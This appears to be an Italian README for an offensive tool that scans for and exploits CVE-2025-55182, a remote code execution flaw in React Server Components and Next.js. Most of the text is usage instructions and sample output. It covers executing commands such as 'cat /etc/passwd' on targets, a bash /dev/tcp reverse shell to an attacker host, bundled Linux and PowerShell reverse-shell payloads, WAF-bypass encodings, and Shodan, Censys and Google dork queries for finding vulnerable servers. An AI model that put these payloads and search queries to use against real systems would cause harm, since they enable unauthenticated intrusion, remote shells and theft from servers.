Scanner ed Exploit per Next.js/React RSC - RCE

Questo strumento è progettato per ricercatori di sicurezza e penetration tester per rilevare e sfruttare la vulnerabilità CVE-2025-55182 nelle applicazioni Next.js/React RSC. Fornisce multiple modalità di scansione, funzionalità di sfruttamento e tecniche di bypass WAF.

✨ Caratteristiche

🎯 Modalità di scansione multiple: Scegli tra le modalità rce, safe e vercel_bypass.
💥 Sfruttamento facile: Esegui comandi o ottieni una reverse shell sui target vulnerabili.
📂 Payload personalizzati: Fornisci payload personalizzati come stringa o da file.
🛡️ Bypass WAF: Tecniche per bypassare i Web Application Firewall.
⚡ Veloce e concorrente: Scansiona più target usando asyncio.
📝 Output verbose: Output curato e dettagliato per un facile debug.
🎨 Output colorato: Per una migliore leggibilità.
🤖 Rilevamento automatico del sistema operativo: Rileva automaticamente il sistema operativo del target (Linux/Windows) per uno sfruttamento più intelligente, soprattutto per le reverse shell.

📈 Dettagli della vulnerabilità

🎯 Versioni interessate

Questa vulnerabilità riguarda le seguenti versioni dei React Server Components:

React Server Components: 19.0.0, 19.1.0, 19.1.1 e 19.2.0
Next.js versioni ≥14.3.0-canary.77, tutte le 15.x e 16.x
framework che utilizzano RSC: React Router (modalità RSC), Waku, Redwood SDK e vari plugin RSC

Anche i seguenti pacchetti sono interessati:

react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack

🛠️ Installazione```bash

git clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182

Create a virtual environment

python3 -m venv venv-55182 source venv-55182/bin/activate

Install dependencies

pip install -r requirements.txt

## uso```bash
❯ python3 CVE-2025-55182.py -h

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
                         [-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]

Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications

options:
  -h, --help                       show this help message and exit
  -u, --url URL                    Single URL to scan or exploit.
  -f, --file FILE                  File containing a list of URLs to scan/exploit.

Exploitation Options:
  -c, --command COMMAND            Command to execute on the target(s).
  -p, --payloads PAYLOAD           Custom payload to execute on the target(s). Can be a string or a
                                   file path.
  -r, --reverse-shell LHOST:LPORT  Attempt a reverse shell.

Scanning Options:
  -sm, --scan-mode MODE            Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
                                   rce)
  -wb, --waf-bypass                Add junk data to the request to bypass WAFs.
  -wbs, --waf-bypass-size KB       Size of junk data in KB (default: 128).
  -wbu, --waf-bypass-utf16le       Use UTF-16LE encoding to bypass WAFs.

General Options:
  -o, --output FILE                File to save vulnerable URLs from scans.
  -t, --threads NUM                Number of concurrent threads (default: 10).
  -T, --timeout SEC                Request timeout in seconds (default: 10).
  -P, --proxy URL                  Proxy to use (e.g., http://127.0.0.1:8080).
  -H, --header HEADER              Add custom headers (e.g., 'Cookie: session=...').
  -v, --verbose                    Enable verbose output for success/failed/non-vulnerable checks.

🔬 Modalità di scansione

rce (predefinita): modalità di scansione attiva, esegue un comando echo per confermare la vulnerabilità. È il metodo più affidabile, ma potrebbe lasciare log sul sistema target.
safe: modalità di scansione side-channel, non esegue comandi. Verifica la presenza di uno specifico messaggio di errore (E{"digest") per determinare se il target è vulnerabile. È più sicura della modalità rce, ma potrebbe essere meno affidabile.
vercel_bypass: utilizza un payload specifico per bypassare il WAF di Vercel e controlla l'output del comando nell'header X-Action-Redirect.

Tecniche di encoding diverse per il bypass WAF

crediti @coffinxp7

🚀 Esempi

Scansione```bash

Scan a single URL with the default rce check

python3 CVE-2025-55182.py -u http://target.com

Scan a list of URLs with the `safe` mode and 20 threads

python3 CVE-2025-55182.py -f urls.txt -sm safe -t 20

Scan with Vercel WAF bypass mode and save vulnerable URLs to a file

python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt

### Sfruttamento```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb

# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh

# Get a reverse shell (linux default reverse shell) 
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444

# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh

# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows

# Intercept in Burpsuite  
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080

💻 Scansione di un bersaglio vulnerabile```bash

$ python3 CVE-2025-55182.py -u http://target.com

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\[_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \__  \ _/ ___	__\/  ____/  \_____  \ |  |  \/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \ ___\|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 
        
[+] VULNERABLE: http://target.com (Mode: rce)

Scansione con Output Verbose```bash

$ python3 CVE-2025-55182.py -u http://target.com -v

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[+] VULNERABLE: http://target.com - Status: 500 (Mode: rce) (OS: Linux, Web Server: nginx/1.29.3)
    Target Information:
        Detected OS: Linux
        Server Software: next.js
        Content Type: text/html; charset=utf-8
        System Time: Sat, 06 Dec 2025 19:59:32 GMT
    Response snippet:
      HTTP/1.1 500 Internal Server Error
      Date: Sat, 06 Dec 2025 19:59:32 GMT
      Content-Type: text/html; charset=utf-8
      Content-Length: 4615
      Connection: keep-alive
      X-Powered-By: Next.js
      ETag: W/"1207-I2098797987"
      Vary: RSC, Next-Router-State-Tree

$ python3 CVE-2025-55182.py -u http://target.com -v

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[-] NOT VULNERABLE: https://tryhackme.com
[*] Verbose output for https://tryhackme.com:
    Target Information:
        Detected OS: Unknown
        Server Software: cloudflare
        Content Type: text/html; charset=UTF-8
        System Time: Sat, 06 Dec 2025 19:59:32 GMT
    Status Code: 500
    Response Headers:
        Date: Sat, 06 Dec 2025 19:59:32 GMT
        Content-Type: text/html; charset=UTF-8
        Content-Length: 4615
        Connection: keep-alive
        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
        Expires: Thu, 01 Jan 1970 00:00:01 GMT
        Referrer-Policy: same-origin
        X-Frame-Options: SAMEORIGIN
        Server: cloudflare
        CF-RAY: 9a9e5d42b96204be-HKG
    Response Body (first 500 chars):
        <!DOCTYPE html>
        <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
        <!--[if IE 7]>    <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
        <!--[if IE 8]>    <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
        <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
        <head>
        <title>Worker threw exception | tryhackme.com | Cloudflare</title>
        <meta charset="UTF-8" />
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta http-equiv

Sfruttamento con un Comando```bash

$ python3 CVE-2025-55182.py -u http://target.com -c "whoami && echo "" && cat /etc/passwd"

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Exploiting: https://target.com with command: whoami && echo "" && cat /etc/passwd
[+] COMMAND EXECUTED SUCCESSFULLY - Status: 500
----------------------------------------
nextjs

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
----------------------------------------

Sfruttamento con una Reverse Shell```bash

$ python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 -v

```bash
__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Attempting reverse shell to 10.10.10.1:4444 from http://target.com
[*] Detected OS: Linux
[*] Using Linux (bash) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.

$ python3 CVE-2025-55182.py -u http://windows-target.com -r 10.10.10.1:4444 -v

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Attempting reverse shell to 10.10.10.1:4444 from http://windows-target.com
[*] Detected OS: Windows
[*] Using Windows (powershell) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.

Bypass WAF UTF-16LE```bash

❯ python3 CVE-2025-55182.py -u http://target.com/apps -c "id && ls -al" -wbu

__________ __ ________ . . .
___ \ ____ _____ / |_ \ / /| | ____ | | | |
| // __ \ \ / \ / / _ \ | | _/ __ | | | |
| | \ / / __ \ _| | / \ / | Y \ /| || | || /_ > /___ >| _____ /_______ /|| /_ >_/__/ / / / / / / / /
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit

[*] Exploiting: http://target.com/apps with command: id && ls -al [+] COMMAND EXECUTED SUCCESSFULLY - Status: 500 (Web Server: nginx/1.29.3)

3443983266

![utf-16](https://assets.kitploit.com/production/public/readmes/28258/b540c1e9fb07316478772ec219d6f4f86437947215e5604353e9b9d59296f8ed.png)
### Errore di rete```bash
python3 CVE-2025-55182.py -u http://target.com:3000 -c "id" -v

__________                      __  ________    _________.__           .__  .__   
\______   \ ____ _____    _____/  |_\_____  \  /   _____/|  |__   ____ |  | |  |  
 |       _// __ \\__  \ _/ ___\   __\/  ____/  \_____  \ |  |  \_/ __ \|  | |  |  
 |    |   \  ___/ / __ \\  \___|  | /       \  /        \|   Y  \  ___/|  |_|  |__
 |____|_  /\___  >____  /\___  >__| \_______ \/_______  /|___|  /\___  >____/____/
        \/     \/     \/     \/             \/        \/      \/     \/                              
       Author: l0n3m4n  | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit 

[*] Exploiting: http://target.com:3000 with command: id
[-] FAILED TO EXECUTE COMMAND
[*] Verbose output for http://target.com:3000:
    Status Code: -1
    Response Headers:
        (No headers received)
    Response Body (first 200 chars):
        An error occurred: HTTPConnectionPool(host='target.com', port=3000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f846d6caa50>, 'Co

📂 Payload

Lo strumento include payload di reverse shell preconfigurati per Linux e Windows.

linux_revshell.sh: Reverse shell Bash.
windows_revshell.ps1: Reverse shell PowerShell.

📚 Ulteriori riferimenti

🔎 Trovare sistemi vulnerabili

Shodan

http.component:"next.js"
http.favicon.hash:-1766382332 (favicon di Vercel)
"x-powered-by: Next.js"

Censys

((Next.js) and services.software.product="Next.js") and services.port=3000
services.http.response.body: "_next/static"
host.services.endpoints.http.headers:(key:"Vary" and value:"RSC, Next-Router-State-Tree")

Google Dorks

inurl:"/_next/static"
intitle:"Next.js"
site:com intitle:"Next.js"
inurl:.com ("Next.js" OR "React")
site:com ("Next.js" OR "_next/static")
site:gov.cc ("Next.js" OR "React")
site:com ("/_next/static" OR "/static/js")
site:com ("React error" OR "Next.js error")

BinaryEdge

header:"x-powered-by: Next.js"

Zoomeye

app:"Next.js"
http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"
vul.cve="CVE-2025-55182"

FOFA

app="NEXT.JS" || app="React.js"

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e di ricerca. Non utilizzarlo su alcun sistema senza un'autorizzazione esplicita. L'autore non è responsabile per eventuali danni causati dall'uso di questo strumento.

📝 Issue

Le PR sono benvenute :)

Pubblicazione	2025-12-03
Punteggio base	10.0 (CRITICO)
Ricercatore	Lachlan Davidson (https://github.com/lachlan2k)
Vettore	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Descrizione	Una vulnerabilità critica di Remote Code Execution (RCE) nei React Server Components. Sono interessate le applicazioni che utilizzano il runtime lato server di React, inclusi framework come Next.js. Il problema è causato dalla deserializzazione non sicura di dati non attendibili del protocollo “Flight”, che consente a un attaccante di ottenere l'esecuzione di codice sul server prima dell'autenticazione. È necessario aggiornare a versioni corrette di React e dei framework.
Punteggio EPSS	27.81% (Probabilità di sfruttamento)
Catalogo CISA KEV	Elencato: Sì, Ransomware: Sconosciuto
HackerOne Hacktivity	Posizione: 1, Segnalazioni: 92
Priorità di patch	A+

CVE-2025-55182-Waf

Più Popolari